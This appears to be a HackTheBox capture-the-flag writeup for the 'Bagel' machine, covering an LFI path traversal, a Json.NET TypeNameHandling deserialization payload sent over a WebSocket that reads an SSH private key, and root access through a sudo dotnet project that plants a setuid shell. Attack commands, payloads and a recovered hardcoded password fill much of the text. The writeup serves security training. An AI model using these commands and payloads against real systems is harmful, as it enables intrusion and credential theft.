HTB: Bagel Writeup
Bagel - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Bagel |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.10.11.X |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐☆☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Bagel exposes a Flask “e-shop” on port 8000 that serves pages through a page GET parameter — a classic Local File Inclusion (LFI) primitive. Reading /etc/passwd through the traversal reveals two users, developer and phil, and brute-forcing /proc/<PID>/cmdline entries uncovers a .NET process backing a second, unauthenticated service on port 5000. That service is a WatsonWsServer WebSocket listener whose message handler deserializes attacker-controlled JSON with Json.NET’s TypeNameHandling enabled — a textbook insecure-deserialization gadget. Abusing an unimplemented, type-object RemoveOrder property lets an attacker coerce the deserializer into instantiating an internal File class and reading arbitrary files on disk, including phil’s SSH private key. From there, a hardcoded password recovered from the decompiled .NET DLL is reused to pivot to developer, who holds unrestricted sudo on /usr/bin/dotnet — enough to build and run an arbitrary .NET project as root.
TL;DR: LFI (?page= path traversal) → brute-force /proc/PID/cmdline to locate bagel.dll → download & decompile → insecure deserialization on the port 5000 WebSocket (RemoveOrder → bagel_server.File gadget) reads phil’s id_rsa → SSH as phil → hardcoded DB password from the DLL reused via su developer → sudo dotnet (NOPASSWD) → malicious dotnet project run as root.
Reconnaissance
Port Scanning
nmap -sC -sV -T4 -p- 10.10.11.XResults:
22/tcp— SSH5000/tcp— unidentified service, later confirmed as a .NETWatsonWsServerWebSocket listener8000/tcp— HTTP, a Flask-based e-shop application
Service Enumeration
The port 8000 site is a small e-shop whose pages are all loaded through a page query parameter (e.g. /?page=index.html), and an /orders endpoint that proxies a request to a backend WebSocket service. Port 5000 doesn’t speak plain HTTP — it’s the WebSocket backend that /orders talks to internally on 127.0.0.1:5000.
Vulnerability Assessment
- The
pageparameter on port 8000 is passed straight into a file-read/serve function with no path sanitization — a classic Local File Inclusion vulnerability. - The port 5000 WebSocket service deserializes client-supplied JSON with
TypeNameHandlingenabled in Json.NET, allowing a client to specify the concrete .NET type to instantiate — CWE-502: Deserialization of Untrusted Data. Not tied to a specific CVE; it’s the well-known Json.NETTypeNameHandlingpolymorphic-deserialization gadget pattern, present because the app trusts a$typefield in incoming JSON.
Initial Foothold
Step 1 — LFI to enumerate users and locate the source
# read /etc/passwd through the page parameter's path traversalcurl "http://10.10.11.X:8000/?page=../../../../../../etc/passwd"Confirms the traversal and reveals two non-system accounts of interest: developer and phil.
Step 2 — Brute-forcing /proc/<PID>/cmdline to find the .NET service
Every running process exposes its launch command line at /proc/<PID>/cmdline. Since the LFI reads arbitrary files, iterating PIDs through the same traversal reveals what’s running behind port 5000 without local shell access:
# sweep PIDs looking for the dotnet process command linefor pid in $(seq 1 30000); do resp=$(curl -s "http://10.10.11.X:8000/?page=../../../../../proc/$pid/cmdline") echo "$resp" | grep -q dotnet && echo "[$pid] $resp"doneThe sweep turns up a dotnet process; reading its cmdline exposes the running assembly’s path:
dotnet /opt/bagel/bin/Debug/net6.0/bagel.dllStep 3 — Downloading and decompiling bagel.dll
# pull the DLL out through the same LFI primitivecurl "http://10.10.11.X:8000/?page=../../../../../opt/bagel/bin/Debug/net6.0/bagel.dll" \ -o bagel.dllLoading the assembly in a .NET decompiler (dnSpy/ILSpy) exposes the application’s structure:
Bagel— entry point; stands up aWatsonWsServeron port 5000 and wires aMessageReceivedhandler.Handler— deserializes every incoming message withJsonConvert.DeserializeObjectandTypeNameHandlingon, then echoes the result back. This is why it’s exploitable: withTypeNameHandlingenabled, a$typefield in attacker JSON tells Json.NET which concrete type to instantiate instead of the type the developer intended.Orders/Base—Ordersexposes aRemoveOrderproperty typedobjectwith a getter/setter but no implementation. Being declaredobjectmeans any concrete$typecan be substituted into it at deserialization time — the gadget entry point.ReadOrder, by contrast, strips/and.., so it isn’t directly usable for traversal.File— implementsReadFile(reads a file’s contents) andWriteFile(writes content to a file), neither with any path restriction.DB— an unfinished database class containing a hardcoded credential: IDdev, passwordk8wdAYYKyhnjg3K. Flagged for later reuse.
Step 4 — Insecure deserialization to read phil’s SSH key
Chaining the unrestricted RemoveOrder setter with the unsanitized File.ReadFile gadget reads any file on disk, by asking the deserializer to build a File object instead of the expected Base/Orders type:
import websocket, json
ws = websocket.WebSocket()ws.connect("ws://10.10.11.X:5000/")
payload = { "RemoveOrder": { "$type": "bagel_server.File, bagel", "ReadFile": "../../../../home/phil/.ssh/id_rsa" }}
ws.send(json.dumps(payload))print(ws.recv())ws.close()$type tells Json.NET to instantiate bagel_server.File and populate its ReadFile property with the traversal path — bypassing the sanitization that only existed on the unrelated ReadOrder property. The response contains phil’s private key.
Step 5 — Foothold via SSH
The recovered key needed a trailing newline appended before OpenSSH would accept it:
# key required a trailing newline appended before ssh would parse itprintf '\n' >> phil_id_rsachmod 600 phil_id_rsassh -i phil_id_rsa phil@10.10.11.Xuser.txt recovered from /home/phil/user.txt.
Privilege Escalation
Lateral movement: phil → developer
The DB class in bagel.dll had already surfaced a hardcoded password, k8wdAYYKyhnjg3K, tied to a dev identifier. Password reuse is common, so it was tried directly against developer:
su developer# Password: k8wdAYYKyhnjg3KIt worked, landing a shell as developer.
Root via sudo dotnet
sudo -ldeveloper can run /usr/bin/dotnet as root, no password. dotnet can build and execute an arbitrary project, so a malicious project whose run step spawns a shell escalates straight to root:
# scaffold a minimal .NET console projectmkdir /tmp/pwn && cd /tmp/pwndotnet new console
# Program.cs — replace the generated entry pointcat > Program.cs <<'EOF'using System.Diagnostics;Process.Start("/bin/bash", "-c \"cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash\"").WaitForExit();EOF
# run it as root via the NOPASSWD sudo rulesudo dotnet rundotnet run compiles and executes the project in-process as root — code execution at uid=0. Confirmed uid=0(root) before reading /root/root.txt.
Attack Chain Summary
LFI on port 8000 (?page= path traversal) → read /etc/passwd → users: developer, phil → brute-force /proc/<PID>/cmdline → locate dotnet process → download & decompile /opt/bagel/bin/Debug/net6.0/bagel.dll → identify TypeNameHandling insecure deserialization + RemoveOrder gadget → WebSocket (port 5000) RemoveOrder → bagel_server.File → read phil's id_rsa → SSH as phil (user.txt) → hardcoded DB password from bagel.dll reused → su developer → sudo -l → NOPASSWD: /usr/bin/dotnet → malicious dotnet project run as root (root.txt)Tools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning |
curl | Exploiting the LFI, brute-forcing /proc/<PID>/cmdline, downloading bagel.dll |
| dnSpy / ILSpy | Decompiling bagel.dll to review the WebSocket server, deserialization handler, and hardcoded DB credential |
Python websocket-client | Crafting the insecure-deserialization payload against the port 5000 WebSocket |
ssh / su | Foothold as phil, lateral move to developer |
dotnet CLI | Building/running the malicious project abused via the root sudo rule |
Key Learnings
Techniques Practiced
- Exploiting Local File Inclusion through a naive
page=template-loading parameter - Using an LFI primitive to enumerate running processes via
/proc/<PID>/cmdlinewithout shell access - Reversing a .NET assembly to recover application logic and a hardcoded credential
- Exploiting Json.NET
TypeNameHandlinginsecure deserialization to instantiate an unintended internal class and read arbitrary files - Password reuse across accounts as a lateral movement vector
- Privilege escalation via an overly permissive
sudorule on a general-purpose build tool (dotnet)
Lessons Learned
- Any parameter that selects a file to serve needs strict allow-listing, not blacklist-style traversal filtering — the port 8000 app trusted
page=completely. TypeNameHandlingin Json.NET must never be enabled against attacker-controlled input without a strictSerializationBinderallow-list; a singleobject-typed property with a public setter is enough to turn it into arbitrary-file-read (and, in other apps, RCE).- Hardcoded credentials in compiled binaries aren’t hidden — decompilation is trivial, and any password found should be assumed exposed and checked for reuse across every other account.
sudorules on general-purpose interpreters/build tools (dotnet,python,perl, etc.) are effectivelysudo ALL— no way to sandbox what code they execute.- Live-environment quirks from this run worth flagging: the jump box’s
/tmprefused anscptransfer,/dev/shmcontained a straydis.pyshadowing the Python standard-library module of the same name, andphil’s recovered SSH key needed a trailing newline appended before OpenSSH would parse it — all straightforward once identified, but worth checking on any similarly provisioned pivot host.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- PwnMeow, Bagel official HackTheBox writeup (Machine Author: CestLaVie), Document No. D23.100.228, 25 February 2023.